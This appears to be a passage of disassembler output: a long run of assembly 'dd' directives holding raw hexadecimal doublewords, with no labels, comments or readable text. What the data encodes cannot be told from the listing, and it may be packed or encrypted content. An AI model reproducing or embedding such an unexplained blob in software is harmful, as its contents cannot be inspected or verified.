		dd 1FF4454Ah, 9038B0E3h, 0A4090F8Fh, 87432FE6h,	0E2E87371h
		dd 0DF0053FEh, 5110B8C5h, 5D2519h, 0AFC60221h, 3AD3FB8Dh
		dd 0A91BB0A0h, 7ACF6F01h, 0BFF78C33h, 0BD7BECh,	9FDF62EFh
		dd 0FF8541C4h, 790EAF01h, 0FE1B503Fh, 1C452420h, 0C0A36FE6h
		dd 563072BAh, 801413Ah,	0AB607163h, 0EC218A0Fh,	4DEDD00h
		dd 15EE0083h, 0CA9FDDCCh, 900AFCBh, 4049BB78h, 51F285h
		dd 59082295h, 5C4E8228h
		dd 86EB4801h, 94173CC9h, 0D3F0BEC9h, 2281C745h,	6C46C0D9h
		dd 0CBF20A67h, 638BD20h, 9C88F975h, 680CC880h, 0F802B7E8h
		dd 1D4D03C1h, 0B047CD93h, 0AACFC0B5h, 35008FF7h, 97295574h
		dd 21F91BEh, 0CF46413Dh, 4DE0EE17h, 3500DF84h, 9211ECCAh
		dd 873F9Ch, 0AF104B95h,	0E474F57Dh, 0A85BE839h,	0F900D41Ch
		dd 0D4F46557h, 1C035286h, 0EEA0EAh, 0E36CCF8Ah,	2300A4B1h
		dd 96F70FB5h, 262046h, 2AD581BCh, 4466DF88h, 0E5B4A91Fh
		dd 92134CC4h, 19F0ECC1h, 0ECA2C0h, 783525DAh, 0DC5B614Dh
		dd 4A62D800h, 6331AD11h, 0C11A0098h, 6435FB69h,	430020FAh
		dd 0B499FD6Eh, 5F408E8h, 67E2AEFh, 19286018h, 0D81DD90Ah
		dd 6DCF2B90h, 98B7C03Ah, 0E3BC40h, 744145B3h, 0CA9743CEh
		dd 75BB2C03h, 903CB4B7h, 0BCE037h, 0DA56286Ch, 0FFA86109h
		dd 0FC8DF430h, 0F9DCFBh, 5BBF95A9h, 0E70E6D9Dh,	47100706h
		dd 1E29AA4Dh, 40953132h, 0FC90C219h, 0A00094C6h, 0D1A3E0A8h
		dd 387BBAh, 0DBBD6D81h,	7FF95128h, 72FEEF00h, 16582CABh
		dd 3266002Dh, 0E7104D5Ch, 0BB002076h, 83B3FAB2h, 2633E6D8h
		dd 0B741E21h, 178510BAh, 19608058h, 6700EED0h, 831F3B34h
		dd 4892FBF9h, 14B0980Ah, 0EE00F459h, 6EBABEBCh,	3FEFD0FAh
		dd 21806C1Fh, 45997BCCh, 0A300EE23h, 59B326DAh,	4089BC5h
		dd 19DE16C7h, 738CD0E0h, 0F904215Ah, 0F501604Ch, 8B561AC0h
		dd 0AA7918ADh, 50829877h, 3F94FD00h, 0C50515CEh, 0BC810023h
		dd 48877CB9h, 4D00FE43h, 200B090Ah, 429227h, 51F603D3h
		dd 824E36Eh, 9C928BF4h,	0C3502DE6h, 0BA183588h,	21D93DA0h
		dd 0D7DD384Dh, 4490868Fh, 0F0E181C7h, 0F9183257h, 5826F601h
		dd 8DB60397h, 9802DCh, 610C7AAAh, 0E7E4A88Eh, 7D072000h
		dd 8D3EB96h, 0CA0B001Fh, 52B01092h, 691DE6A7h, 57C06150h
		dd 0E260D0B3h, 7C0D4CFAh, 0D2011Fh, 1DA881BFh, 2D00F39Dh
		dd 0B9FA3585h, 0BA3C0Ah, 17960844h, 0F88DC32Bh,	8718E000h
		dd 0EE2CD3D1h, 3B9200DDh, 1EC13480h, 8500A655h,	8EC61539h
		dd 58F77622h, 544C580Eh, 5FFE3C00h, 88FCB220h, 7D9F9D12h
		dd 0C0CC570Fh, 9BD1F38Dh, 4CC8BAACh, 41008C82h,	87CE86C1h
		dd 4800C010h, 6F7F9CD2h, 0E018Dh, 93C2127Ah, 0B32E73E5h
		dd 0CB75BA03h, 9BA5EF8Ah, 14ADD084h, 0B7D007D6h, 162D129h
		dd 0F879ACC0h, 42C6977h, 107D71Dh, 4C303C31h, 1749C5Fh
		dd 289526D3h, 0E0DB62B8h, 3A00C0D8h, 0B92DF7CEh, 1440389h
		dd 78D6FBB4h, 0FB6BC67Dh, 0AD4ADE90h, 0A8FAF100h, 60A6F2B9h
		dd 0B7BB0022h, 0BF876CD4h, 0B30451B2h, 1D3AFE5Ah, 7C228480h
		dd 0E36904E8h, 95BB5CCBh, 877A8088h, 88004798h,	39AB7329h
		dd 910C9165h, 0FDCB0574h, 0D194052Dh, 4830885Ah, 3B01049h
		dd 412546A6h, 7CD9D59Fh, 0B2B88B20h, 0D76C0010h, 82F8988Ch
		dd 0F8EFD860h, 1C06553Bh, 7D040BB0h, 0D3D00060h, 992035A7h
		dd 0C902CFEFh, 6CBB8376h, 203CB823h, 0E0544DE2h, 0C4E043CFh
		dd 0E85E1D90h, 9B50FA00h, 0D80FA193h, 701470BDh, 6C9406C9h
		dd 488B1FC1h, 431D0300h, 0F4DB8FB5h, 755F0057h,	465A17E3h
		dd 2DE407ADh, 0D03CBC00h, 0DACD1B08h, 89E500F7h, 0B551748Ch
		dd 1E042E14h, 30AE9707h, 0B8403D84h, 0C5167A20h, 4DE804E5h
		dd 0C2154FFEh, 24607EC4h, 0BF48CA48h, 2F80B10h,	0A3BC02DDh
		dd 1B0E202Fh, 0C80B03B0h, 8BC72A85h, 7DE10780h,	686BA6h
		dd 95A61845h, 61A521C9h, 85AF8718h, 881E78h, 0EFC2255Ch
		dd 0F6785509h, 11443100h, 530C560Fh, 24AF4CE3h,	0A37A1CA0h
		dd 9343A50Fh, 5DC9544h,	0BFFBF635h, 9E73BD04h, 0C3259890h
		dd 0D254284Eh, 0D4724CF4h, 856F703h, 9DC0CC60h,	86B8CD92h
		dd 0B0626913h, 48403Dh,	35C71C11h, 223F40DCh, 154E4A7Bh
		dd 0A42C9E2Ah, 681B8000h, 0E5AD4261h, 79FC00A7h, 55ED54E4h
		dd 0BC000ECFh, 2A8F1383h, 6C6312h, 0BADE1834h, 462CD053h
		dd 0B4AD2800h, 2F373EEDh, 30FC00A9h, 6DAA61F6h,	0FA90E7E2h
		dd 3242EC00h, 0A5E52233h, 0F8E60004h, 3BEA6A53h, 7A1EEE0Eh
		dd 0BB40BF83h, 0D61E1A5Fh, 58FCE084h, 963C9Bh, 4ACED81Ch
		dd 9C006DDAh, 0A10C9A22h, 0B8CC4926h, 4BCCA08Ch, 8C1E03E3h
		dd 0C8AC155Eh, 2C4868B8h, 82A2F33Ah, 4457257Fh,	304E091h
		dd 0EC90C0h, 751ABA36h,	4CBC7384h, 0A7EF9200h, 148C7DB2h
		dd 0DB3E126Ah, 31C8600Ah, 0CD5D629Ah, 2BBE866Ch, 0F33C0E59h
		dd 0D3451Eh, 0EE0AED00h, 18B02ADFh, 85106AEAh, 0B402F177h
		dd 38FF9A27h, 80AEF487h, 6954A5BFh, 0AADDF8A0h,	35800094h
		dd 6BFED895h, 0D0960026h, 0ABE21D44h, 781206D5h, 4800A14h
		dd 3511A82h, 0BE9F1866h, 87F83FE6h, 0A73070F3h,	55BB9076h
		dd 0E83D2883h, 5989298h, 2B5E7442h, 2648D4C9h, 0CDFCB048h
		dd 0E8680700h, 973DC12Bh, 9EC807B5h, 0F07160h, 6247209h
		dd 75C6E700h, 88EA3F61h, 63552E20h, 2C420074h, 8F2A4EE0h
		dd 7094F100h, 44AE71F7h, 22DCF195h, 866D00BCh, 3A0CE173h
		dd 0A00181E9h, 1E772DCBh, 0FD70702Ch, 743C007Dh, 0AE685F0Bh
		dd 0C038302h, 98E23449h, 0A903F050h, 60AD0088h,	6592D6E3h
		dd 0A0502432h, 0B0058EBh, 8B86FCD0h, 768277h, 284E42F2h
		dd 0C2799CD5h, 0E1F1841Eh, 7E05C040h, 0B8AB8C65h, 4FACE4BBh
		dd 0B20800D6h, 119EA25Eh, 299DE707h, 633F0F97h,	0D8AB8218h
		dd 19C3912h, 6A722A66h,	0E12410A1h, 3799DCF7h, 2754130Fh
		dd 8D0260B1h, 1CCF0F93h, 4035CE92h, 8CD9523h, 4F01C33Dh
		dd 495554F5h, 78835B09h, 0CA50E790h, 0DDF6288h,	0D401B600h
		dd 0D694A7F3h, 0F030EB88h, 0CB5FCA5h, 311FDED9h, 0AC78AF10h
		dd 0CAED881Fh, 62208219h, 0C067BAC8h, 0FD52F458h, 12003AA0h
		dd 42D1F7B8h, 51AAC2h, 0C33877D3h, 0BE9BCE69h, 0F0F820B2h
		dd 78031AF6h, 0C1A9057Eh, 0C3402CFEh, 44B03A04h, 0B86EC759h
		dd 0BB478706h, 1784B2Dh, 0FA5EA5C8h, 4093CA25h,	697E83A8h
		dd 0A6389200h, 30D0F794h, 0E6F885h, 0DA0997C3h,	0CEF8CF4Bh
		dd 19C8D701h, 664EAB42h, 0D080F0E5h, 845C40FAh,	0B3006A4Ah
		dd 5F8D29C5h, 3BDE78h, 38862C16h, 6CF21806h, 199F491Eh
		dd 0CA0058D7h, 12D07531h, 0BC8A07DFh, 302F607Ah, 667C2E0Bh
		dd 40F8B100h, 98AE35B2h, 71AF00F2h, 1B3CDDCCh, 40008E8h
		dd 22D4A0A2h, 0E2A124AAh, 1E7400FEh, 0AFB73EFFh, 310FF7B6h
		dd 27E9DC08h, 63B0D544h, 0AC59C7h, 0C26C185Dh, 0F27597D6h
		dd 0C9F42200h, 9BC51469h, 0D5810031h, 2D806A8Ch, 0DC00E134h
		dd 2E89657Fh, 0B29AFE9Fh, 53CD0E10h, 9F561392h,	9069F70h
		dd 10D1B1h, 0F6BC4307h,	75210222h, 481C1407h, 1894D61h
		dd 4A42FAC3h, 1A78E3h, 685056DAh, 4147E11Bh, 0C75A6500h
		dd 42E43B22h, 54940B14h, 0EC80D8F0h, 0FBB0D78Dh, 0C707389Ah
		dd 0C3502A37h, 6129F3C2h, 82C0D884h, 35C100B3h,	20477EADh
		dd 0C60330BCh, 0C9E13707h, 1FA0F07Bh, 12CF038Ch, 0C2902071h
		dd 3819BEB0h, 0E155104h, 0BDC0F340h, 77D614BAh,	5AF638B4h
		dd 2CA402CBh, 0FFF3BC2h, 0C8028096h, 3DFB6153h,	401FD529h
		dd 0D43E7033h, 0D000B335h, 0F2EC78C5h, 0FE75F41Ah, 0B58C48D1h
		dd 395C4900h, 0DE61D89Ah, 0E500A677h, 0C277E387h, 1C88F09h
		dd 2893CC01h, 0F45642E0h, 0D5016679h, 96F02152h, 28347E95h
		dd 98185C31h, 0D95A2300h
		dd 70BA56B2h, 40CF6601h, 16A895B0h, 1ED3860h, 882F0AE5h
		dd 0CC744C7Ah, 2A0BA74Bh, 8196A2F5h, 9A456BEEh,	0A141460h
		dd 0D0BADF38h, 588081F0h, 408D189Dh, 84793CB4h,	0CF174000h
		dd 3EC8F7A1h, 0FD870127h, 82AD9A1Eh, 7F28FC44h,	7EAC7C3Bh
		dd 626DBA00h, 675081F7h, 1A46003Ah, 0D3782855h,	0B25CB8F1h
		dd 80A93DDEh, 0F317E8C9h, 0B2B0D697h, 0FEBB0070h, 84E79ADh
		dd 46005EB1h, 42027482h, 3BF65196h, 17E6B53h, 0B09C1AC4h
		dd 818E3B9Bh, 6ACC04C8h, 0BF70472Ah, 8BE27Ah, 5A62560h
		dd 1195A839h, 0B39F5F00h, 8A80BA0Ah, 42971844h,	0D5B278F7h
		dd 6DB1A313h, 7F32509h,	0CA80DF0Eh, 0FD9EE7h, 13D0F45Ch
		dd 9909CFAEh, 8D217E04h, 28E0A14Eh, 0A20A0017h,	2ED1CCBh
		dd 0B5005E36h, 64FE352Eh, 98B07FBFh, 0CC3100C8h, 284A2D79h
		dd 0BE0F5AC0h, 0F4DF5D3Eh, 6CF30BFCh, 9B3420B2h, 0F07426h
		dd 0B7B5BBA0h, 72BCC819h, 650C5301h, 2F68ABCDh,	0F1202CC1h
		dd 321E3133h, 28263BA0h, 0EE007658h, 0D2F615B1h, 471D21h
		dd 8572549Ah, 8D7EED45h, 0B84E5200h, 0D0AFD256h, 22251E93h
		dd 0F40D000Eh, 4919F9CDh, 0E8454300h, 2CF8DD4Dh, 32750026h
		dd 6A615EC3h, 0B5390ED7h, 0A8D8808Ah, 0FE8491C1h, 80CB0145h
		dd 0E3D1D402h, 1AF03451h, 0C3003094h, 0D2348B2Ah, 5B080BA4h
		dd 58A3519Eh, 5F8DDEEh,	0A53B8C20h, 0CAE780B5h,	3AB0BD7Dh
		dd 5461032Dh, 2C21C96Ah, 0F468B08Ch, 2A90AF03h,	9FDC954Fh
		dd 8B707A00h, 394D260Dh, 5CED0350h, 57B8BE34h, 45098F06h
		dd 80948068h, 1D64A0EFh, 0AD3707E9h, 8022CB48h,	542A7F53h
		dd 0ED02BC00h, 5B34DED0h, 44F0012h, 0B7CCD4ECh,	0E1F85F6Ah
		dd 1F5E63Fh, 1AB00E61h,	11C88F7Dh, 7E6B38C9h, 6FF1EC07h
		dd 0EE023317h, 242E8D88h, 0AEE5DE00h, 0B17B1655h, 35F83994h
		dd 9741C7F5h, 15F9E61h,	5F908174h, 4562D084h, 0F5A96703h
		dd 98E1CD1Fh, 78B39EB9h, 97782CFEh, 0CA690049h,	0DDB0F7B2h
		dd 0EAD12F00h, 8104506Ch, 0D69D0B97h, 9A8156CDh, 0C04066BAh
		dd 2A01E1FEh, 0B74AA5E7h, 60C13618h, 2A9A4E4h, 401C8F6Fh
		dd 0AD839E41h, 0B1B0EF47h, 1539A0E3h, 26120565h, 890E2B2h
		dd 74F0B61Bh, 98A900F9h, 714DD374h, 72004F0Ch, 0E752268Eh
		dd 17CF50DFh, 0B350E41h, 7480B4F0h, 2DA669E1h, 3B0064E4h
		dd 8FCF552Eh, 77AD4BD7h, 0D0924C4Eh, 5015B401h,	0D7E9701Eh
		dd 60C474D1h, 4103EE9Bh, 0D9E60D0Ch, 5090F0CFh,	0C70209F7h
		dd 90C0FC47h, 3F755AC5h, 0B465451Fh, 0E0210E80h, 401A5Ch
		dd 0C66F8977h, 5725184Bh, 0BA7CCE1Dh, 1222F340h, 0B88BE0Dh
		dd 69C78E6Fh, 36604383h, 3E66D6D8h, 0D5C39A2Ch,	0F7111030h
		dd 184A7F4Bh, 2951C55Dh, 0D7054756h, 0CB7DDF83h, 3C2F9880h
		dd 977F2C7Eh, 2902ED3h,	0E598090Ch, 378F4043h, 8C45D09Ah
		dd 3703B1E0h, 8B54293Ah, 0F134B19Ch, 75BD9F4h, 5D6EA1F6h
		dd 56A692F3h, 40B4A069h, 9ABF47ACh, 0A11BD001h,	7AC30942h
		dd 0A9A2E8h, 55E851DCh,	2D5EB08Dh, 0AA12890Bh, 0E5678098h
		dd 0C840B9h, 0C1CDB304h, 0E322D3F8h, 96C22100h,	31AB146Fh
		dd 50DD0085h, 0AE1001FAh, 500E00Bh, 21173891h, 0B2D6EDh
		dd 0A5184CCh, 376E3BC5h, 993A1D1Eh, 420B1480h, 7B1CBBh
		dd 76C49347h, 34DB674Bh, 0F374B400h, 203B5ACFh,	0FB941D8Eh
		dd 0D79A0069h, 377CC710h, 3D4F5900h, 6431D4B0h,	85833E54h
		dd 9880A53Bh, 0EF67BF6Fh, 0F601CBB4h, 7D84BCC2h, 1A204DECh
		dd 83D41E68h, 981C44D5h, 0A228C59Dh, 0AAD08024h, 0BBB2833h
		dd 2634A8F6h, 20BFC107h, 0B783DBDAh, 8595Dh, 541DE6C9h
		dd 727DBCC0h, 0F656FC7Eh, 5A4B742Dh, 7E105D09h,	35D9EC00h
		dd 57C93DD4h, 18634800h, 0D8A824E6h, 97BB1858h,	0D3894851h
		dd 0E15DB273h, 654300B4h, 3E7BD78Eh, 0E72B0FFAh, 0A840E0E3h
		dd 0C436FC19h, 0D700A975h, 41F80C61h, 26668Eh, 0C13562B0h
		dd 1C347240h, 0A3A13Bh,	337AB6F6h, 2FB2E2Ch, 0D9014FA5h
		dd 0F850E40Ah, 0B1BB471Fh, 0FFCCB306h, 3F01781h, 40381794h
		dd 0AC7FA5C8h, 0D90333C8h, 0E79A5E59h, 0C3D0D08Eh, 0DF542638h
		dd 0A52A00B7h, 27B2828Bh, 0A761E560h, 0E8F564ACh, 7D2612CCh
		dd 0E950D06Fh, 0C64CA0FFh, 604B301Fh, 126CA5B2h, 90FEF7FAh
		dd 925B0CF8h, 94A4E80Dh, 57F54859h, 60BD24F8h, 0C27EB1B8h
		dd 0D7004CBAh, 56F0BFA3h, 6749E1h, 0D509CD31h, 66B8B7B9h
		dd 0A105F82Ch, 0FBDA9B00h, 0CD38A4h, 4D51E698h,	0B246334Ah
		dd 6BADC07h, 343194FCh,	0B520D46Ah, 9AD300A8h, 69871129h
		dd 9200A1B8h, 4FAE8EA6h, 2392780h, 6F9ACE14h, 607D22FBh
		dd 0ECBEBF8Dh, 17C03947h, 0C5DAD300h, 3DDC2B0Fh, 2D10700h
		dd 6E1A0D9h, 0A8100025h, 0FA5C46B2h, 553B6894h,	811B009Fh
		dd 9AB0C3FEh, 0BFE600ECh, 860FC199h, 42005744h,	0D8A7F9B1h
		dd 80ACE3h, 0FBA3F204h,	9DB58EC8h, 0DDD9CD01h, 0FF5637D6h
		dd 0E51CA850h, 0A5270EA6h, 7DC6B5BFh, 80FB0887h, 9AF84321h
		dd 79388Eh, 747DBEDCh, 807A0D45h, 0DA00E896h, 0BA142EB8h
		dd 6A907750h, 0D0684Eh,	0C7B0850Bh, 0B8E85E65h,	0FD798D16h
		dd 803100Ch, 0B74D0062h, 0B495796h, 68006A8Ah, 0D96765FEh
		dd 0D854E7h, 368CD5EBh,	0DD0C7D52h, 99EF0E30h, 1731EEFCh
		dd 40450829h, 212FF028h, 2383A60h, 92CD19C2h, 782C9908h
		dd 211FFA00h, 692C3942h, 0E9335A00h, 531D1405h,	0B8D0D886h
		dd 0C1054B46h, 72B8AD12h, 0D71C1C6h, 0D1018A5h,	0ACE9E018h
		dd 0D988AF00h, 0BA7B7682h, 156B1E5Fh, 0FEB8C0E5h, 0F7D63121h
		dd 0B9483F00h, 0FAE6AA47h, 0DCB100E2h, 81C55528h, 5100F166h
		dd 7215421Dh, 6E6C8F5h,	1FF0FC9h, 71002E39h, 82029DD7h
		dd 7603404h, 45893CCAh,	8F16301Fh, 0C9009201h, 38B0E98Bh
		dd 5A9790h, 0EA5FC5DBh,	0F4B9282Dh, 8ED05600h, 0D2412A74h
		dd 0C2D50023h, 77E735EEh, 0DE00BAE4h, 0AA5F27C5h, 1F6C0F14h
		dd 40C32FB3h, 0F3363848h, 59283991h, 2B00F4C5h,	0EDF1337Fh
		dd 31A79Dh, 951BD665h, 2F948A7Ch, 8C607473h, 59551D41h
		dd 7B471E17h, 69B1FAEh,	209C1432h, 0BAD8AF00h, 0FB5193FAh
		dd 33A300DDh, 98DACC4h,	5F0047D1h, 0F612CF29h, 1DA43191h
		dd 0B90CD26Dh, 5E2EEA8Bh, 0BA60E200h, 0E700787Bh, 98E4FC31h
		dd 60A96120h, 916E195Fh, 3A02BB17h, 5328FDEEh, 7E600EBDh
		dd 0F8A7EFADh, 30BB4D30h, 398AA3h, 0E940E291h, 318B230Dh
		dd 74F47A1Ch, 0A5083FBh, 7C5A9AC9h, 3ECC79F8h, 8C005D09h
		dd 0B780C47Ch, 0FF073E17h, 58EE2492h, 0E54E88Ch, 42B99BE9h
		dd 3B8CC68Ah, 0A682EA80h, 6DBA3026h, 990014FCh,	0C7812BECh
		dd 190CF9h, 888C90EBh, 0F4B77F35h, 0D71AA328h, 9F247E00h
		dd 18D0A93Ah, 0FDB7CEAh, 3E7AF46h, 82A4E000h, 880004F4h
		dd 8519B2BEh, 710437Dh,	7C92CB20h, 8DC190C2h, 4A018F72h
		dd 0CA05A5DFh, 0A6F09987h, 69B400BEh, 6F135284h, 0FD00DF04h
		dd 0A486F1D6h, 0CE0175Bh, 0A2C5D08Bh, 0B2002D28h, 0E46A5340h
		dd 0CCA33h, 0D56DB0F9h,	54252148h, 0EB682E00h, 236C8862h
		dd 0CFA614DDh, 153CC95Eh, 0D5EEE200h, 4B61B498h, 0AF0360E2h
		dd 3782855Ah, 4983E15h,	0C65EE00h, 780E9BEh, 9C187460h
		dd 0FD2EF5h, 250AED64h,	0FEDAE0D1h, 70A4E100h, 0F6FC1E9Dh
		dd 19140099h, 90E68502h
		dd 6E7EA2E4h, 9208FA00h, 9DBEEA1h, 9B1500E1h, 0FF9AA014h
		dd 0A0C32768h, 818B3350h, 52F8ADE2h, 7884604Fh,	28F9A238h
		dd 498DD700h, 0C1915B75h, 4EC1FCDh, 61B200B8h, 0ABA3D6A1h
		dd 638A0501h, 731015A5h, 0BD16ED40h, 907F00FEh,	71DB2776h
		dd 0BD98D3E9h, 8075233Bh, 0C142EA8Ah, 1B8C44BFh, 606CA7CBh
		dd 84497EC0h, 0AE321E00h, 0FEF1BC8Ah, 5C03080h,	84549821h
		dd 49F8A24Fh, 0CD502E05h, 0A21806Ch, 0F037CF1h,	0F276DB21h
		dd 5E300082h, 5F088F29h, 0F438BD91h, 0AA4865h, 6A9A3585h
		dd 38159FA3h, 91D4A37h,	60838378h, 486C1180h, 0C457840h
		dd 894CE25Ah, 4F00DF11h, 0EE47D25Bh, 3A3CDD1Eh,	0B33086A6h
		dd 5FE1FA21h, 550A6702h, 0E0787246h, 18AD2B1Bh,	50DB1C9Ch
		dd 4864906h, 64BE5BEBh,	20B0628Eh, 7334CDEEh, 22E99500h
		dd 822D42CEh, 5A58C083h, 5C13A98h, 0A802ACA2h, 4618A89Ah
		dd 33950484h, 21BEAA16h, 9D001BD9h, 60008451h, 0CFE43C9Ch
		dd 655A4F2h, 5B1C928Fh,	710081C4h, 1D5ABBDBh, 5C86Fh, 0C78D8E8Ch
		dd 80A30A1Fh, 3E49D900h, 43C44B6Ch, 0C84100D1h,	0C3B32696h
		dd 7E3C94A5h, 874F802Bh, 0F5E9C224h, 0FCEE8Dh, 0B6DFE5CEh
		dd 90A998B2h, 0D3E33D1Ch, 923E78C1h, 8AF0AB51h,	0F266586Fh
		dd 12810D01h, 708DE816h, 0F900510Fh, 0A7296A6h,	0C57AE3h
		dd 0A12CC141h, 47422986h, 6C1CD803h, 8062309Ah,	0FAF17F3Ah
		dd 3E8A00FFh, 8320AA44h, 0B4711485h, 0F53C7706h, 63845C3h
		dd 427C400Eh, 0E00049CEh, 550F2883h, 1D64EC1Ah,	0CE91278h
		dd 37209649h, 892F5B00h, 570AF8AAh, 7C23F602h, 0CACC055Ah
		dd 80486741h, 0E745C021h, 83888200h, 9ECF74EAh,	86D62C9h
		dd 364039BDh, 88017EA5h, 1B963A2Bh, 29E0AAA9h, 0BBEA1EF7h
		dd 4525010Eh, 8C8EC4B4h, 596D93F8h, 503601C1h, 8AEE783Eh
		dd 0AA8DE406h, 119D8402h, 80577F19h, 923A9A4h, 87D300BDh
		dd 80EEA8A1h, 0D6509281h, 1B07F9ADh, 0CD0E2CD9h, 0A68B1CE1h
		dd 0E7FFAE40h, 15D600D0h, 7B36CEEEh, 7E03286Dh,	65EF2C2h
		dd 69BDB864h, 0C5E2003Ch, 58DF4393h, 4D0061D5h,	0A5241298h
		dd 53F4AFh, 8F9D282Ah, 0D94079F7h, 7C672500h, 0D0AF30A2h
		dd 3CD738A7h, 0AB2CAD83h, 830A531h, 92F1216Dh, 141B0E5Bh
		dd 0BC07965Dh, 0E688D321h, 0B0AEA601h, 10CF30F1h, 0C326F4DCh
		dd 0D2250CFEh, 0AD270818h, 3F29020h, 5B2E39E0h,	8BC85CC7h
		dd 7618C4FAh, 4268B93Ah, 4C3752D9h, 0DE5B8903h,	31E47D3Bh
		dd 1700EFF4h, 6D00CB1Fh, 0B6371899h, 3030AB8h, 0E80B38A0h
		dd 35A056A8h, 947FB0AFh, 0C3A8A760h, 3F914912h,	95034A13h
		dd 6E74BCF4h, 2FF2A4B8h, 26B76B01h, 0B49F3B2Eh,	0E941B8B0h
		dd 41F0B191h, 0DBE79000h, 0BDD43DC0h, 0F9AD00EBh, 0A54A30B3h
		dd 7651C52Bh, 0FD31F2B0h, 2B3472C8h, 806435DDh,	0B4CB17BBh
		dd 0D50056D3h, 21347053h, 0B890D2CCh, 0B8C0721Ch, 29B48860h
		dd 737D3Ah, 0DA33E2FEh,	0C11C4EC9h, 51E9E8E4h, 0C58DCCCh
		dd 8A263902h, 0C887FA10h, 0FF6E80B2h, 0DF4285E0h, 0CF284A63h
		dd 0B2D7B093h, 0B830054Fh, 1F7F6h, 6F52288h, 0DD3BA99Ah
		dd 401294A0h, 44420089h, 945AFAE9h, 0BE4900D0h,	2BEE371Dh
		dd 0F5249BCDh, 0F8009281h, 3D96E3F9h, 896000E0h, 0ECC366C4h
		dd 4900C6ADh, 394AC941h, 5D6874h, 0F638BE9h, 7D097637h
		dd 0D6517A00h, 6E2B70C1h, 0BCF60054h, 7FF746CEh, 0C00C3201h
		dd 748E9581h, 0CC1B006Eh, 54451B8h, 0E160CDF4h,	71920C19h
		dd 0F2E30004h, 0C4C7BACFh, 5607BFBBh, 7C0BDE2h,	0BC6E2E41h
		dd 68BD23E1h, 0E4E61180h, 27B1D8C7h, 0E8EF9100h, 0B7DE019Bh
		dd 910469D6h, 582DC701h, 0A756D07Ch, 1E55BB00h,	768B6949h
		dd 0ECD269Dh, 0B630012h, 0A37CFFD4h, 5B80E100h,	0C44CF2B3h
		dd 0DA1D0277h, 11235266h, 0A727D960h, 2073C300h, 970BC0Ah
		dd 92F70FF3h, 5380A6AEh, 75540B80h, 0BB7B071Eh,	0FE22583h
		dd 0C43EE09Bh, 32AA13BDh, 0BD02FBD1h, 80733174h, 9CD8D088h
		dd 78F9007Ah, 0CDE6F854h, 8100DA32h, 39F0EC8Fh,	0B0B72E8Ah
		dd 347E0172h, 5FCB35F4h, 7D6CF41Ah, 0F1F86E1Ch,	0D57374C0h
		dd 32C97BDh, 0ADAF0C6Fh, 801798D2h, 0CA005AA1h,	0ED7E65FFh
		dd 435F00E6h, 500740A5h, 49079117h, 6639258Bh, 3BF41D61h
		dd 5FE99840h, 62610063h, 94BDCFEEh, 0E5662644h,	218408h
		dd 784AEC66h, 2DFDEECAh, 0BF1C7C00h, 6E98269Fh,	0AE7D0044h
		dd 51433454h, 10EAEE39h, 0B1098B00h, 26BEE1B6h,	28B1FFF0h
		dd 0D00E4351h, 0F9603894h, 0A29880A9h, 92A5001Ah, 0AA7B4DB3h
		dd 1324AA4h, 0F5BB20E7h, 5C4648C0h, 280E8E70h, 9827B615h
		dd 1A67C51h, 2BDBD9D5h,	0D80E03B5h, 1832CB97h, 95147811h
		dd 0E5B28838h, 4002A062h, 67D3AEF0h, 30934836h,	8B0CF5D7h
		dd 86AC6D1Fh, 204300BCh, 65E33FE9h, 0F80BFCA6h,	17C433B9h
		dd 21005C08h, 0F92ABA29h, 0E887CED0h, 90810803h, 890F3408h
		dd 1CEBE009h, 1E59CA3h,	0C5AC6A2Bh, 80A96744h, 1DE7A270h
		dd 187CED68h, 0AC979F91h, 5700A893h, 0B3267E0h,	6822EAh
		dd 107BAEC5h, 0EF051BA0h, 6B1EAC00h, 0F29885F7h, 0FF0E693h
		dd 2C4178EBh, 5E826A42h, 7D2AAA60h, 5830E000h, 0FFB3FB55h
		dd 0A82C0CA2h, 4ADC2E4Eh, 7081330Eh, 80F6009Eh,	0EDC735h
		dd 448697FFh, 41FA5BAh,	0E7E7C13h, 638BE0h, 39F67BE0h
		dd 2C885E7Fh, 72ED8F00h, 832B73A4h, 9770DBh, 154F32DDh
		dd 1A3E12F4h, 6CD37103h, 7665E5EBh, 41DA6018h, 0EC6FDC34h
		dd 33913D07h, 4400674h,	90398DB5h, 2A86010Dh, 0B959F29Fh
		dd 80D3E168h, 3B048238h, 0E02D05F1h, 61210095h,	0B45634C6h
		dd 880033B7h, 0E52CFCD3h, 7643A0Eh, 93C3AB69h, 2A00EE2Eh
		dd 0C5841282h, 0DEA86607h, 7970EDBEh, 65E0EE4h,	0D9D7C808h
		dd 0D0048EAh, 4DBCFE27h, 0C70A7FC2h, 10F4B320h,	0D06FB7FFh
		dd 0ECFDE900h, 0FCAE5160h, 9B753D02h, 407FCD00h, 5FE08832h
		dd 760A3700h, 451BCFBDh, 309B0ED4h, 0FD89C2h, 95E8662Bh
		dd 51184613h, 318F083h,	84CE00ADh, 0B245F82Ah, 500027FBh
		dd 0ABF9A205h, 447521h,	0AF8C8A11h, 0B4DC770Ah,	94053400h
		dd 0D01ED190h, 0F1071E30h, 0D6BC0693h, 0C6002889h, 0D852B887h
		dd 667EAEh, 0D7E0AB61h,	0DF70DE95h, 2D574E0Fh, 93EC20BCh
		dd 7ED8AF18h, 0F6170090h, 0FBA7E17Eh, 5E005A95h, 0A387DF01h
		dd 1DA59EDh, 96DD3716h,	3038F618h, 3C0099CCh, 0DE3F06B6h
		dd 7635602h, 0C567E974h, 97ADB1A1h, 6A82C0AFh, 0B009B800h
		dd 1E18A591h, 7F87625h,	511C9E98h, 9BB84001h, 0C00024C5h
		dd 317384ECh, 30A4E4h, 1BD85579h, 38CF9A3Eh, 6D5E3F00h
		dd 4AA7E6ADh, 996B00EBh, 0FE8811AEh, 14003603h,	96715E37h
		dd 0ED9C62h, 216D27F5h,	8238012Ch, 0E1EBD803h, 0F0C55C42h
		dd 1503B63h, 0CB1C408h,	0C0B60347h, 410038BAh, 81CFD02Ah
		dd 1C9839D3h, 4E62F6E5h, 1F4004A2h, 0AEB621D8h,	3500200h
		dd 0F39A8472h, 98370045h, 190B0EFBh, 8B0015E9h,	48625FA5h
		dd 0CE8F04h, 7B6E7655h,	0BBD147A3h, 1C708E48h, 0F5C0DBC1h
		dd 0E201593Ah, 76390FB3h, 0E654ECC6h, 0D9DC3800h, 0B771D461h
		dd 0B41EED00h, 98EF3235h, 0B9080FF5h, 36800244h, 2E60CBF1h
		dd 0A4790507h, 9C904972h, 71AD59A5h, 0EA5507DBh, 82014E65h
		dd 144068EBh
		dd 36022615h, 0C141D263h, 20C8AAFAh, 0BF046814h, 5D26507h
